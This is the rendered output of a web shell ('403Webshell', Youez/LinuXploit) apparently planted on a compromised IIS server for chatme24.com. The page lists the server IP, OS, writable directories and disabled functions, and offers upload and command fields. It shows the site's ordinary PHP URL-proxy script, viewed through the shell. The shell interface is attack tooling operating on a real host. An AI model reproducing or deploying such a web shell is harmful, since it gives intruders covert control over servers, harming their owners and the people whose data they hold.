403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/chatme24.com/wwwroot/_server/city_js/dev/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/chatme24.com/wwwroot/_server/city_js/dev//proxy_old.php
<?php
include('../../../_include/core/main_start.php');
set_time_limit(3600);
//ini_set('implicit_flush', true);
//ob_implicit_flush(true);
//ini_set('memory_limit','1024M');
include('hash.php');

$url = urldecode(get_param('url'));

$hash = get_param('hash');
if($hash != get_hash($url)) {
	//file_put_contents('debug', 'bad_hash: '.$url);
	exit();
}

function get_headers_info($url) {
    $r = get_headers($url);
    $headers = array();
    foreach($r as $header) {
        $header = trim($header);
        if ($header) {
            if (strpos($header, 'Content-Length:') === 0) {
                //$headers[] = $header;
            }
            if (strpos($header, 'Content-Type:') === 0) {
                $headers[] = $header;
                //break;
            }
        }
    }
    return $headers;
}
$fileHeaders = get_headers_info($url);

//file_put_contents('debug', $_SERVER['HTTP_RANGE']);

//ob_start();
if (isset($_SERVER['HTTP_RANGE'])) {
	$opts['http']['header'] ="Range: ".$_SERVER['HTTP_RANGE'];
}

//$opts['http']['method'] = "HEAD";

//$conh = stream_context_create($opts);

$opts['http']['method'] = "GET";

//file_put_contents('debug', $_SERVER['HTTP_RANGE']);

//file_put_contents('debug', $http_response_header);

//$out[] = file_get_contents($url, false, $conh);

//$out[] = $http_response_header;

//ob_end_clean();

//$fileHeaders[] = 'Cache-Control: must-revalidate, post-check=0, pre-check=0';
//$fileHeaders[] = 'Pragma: no-cache';
array_map('header', $fileHeaders);

$cong = stream_context_create($opts);

readfile($url, false, $cong);

//@ob_flush();
//flush();

include('../../../_include/core/main_close.php');

Youez - 2016 - github.com/yon3zu
LinuXploit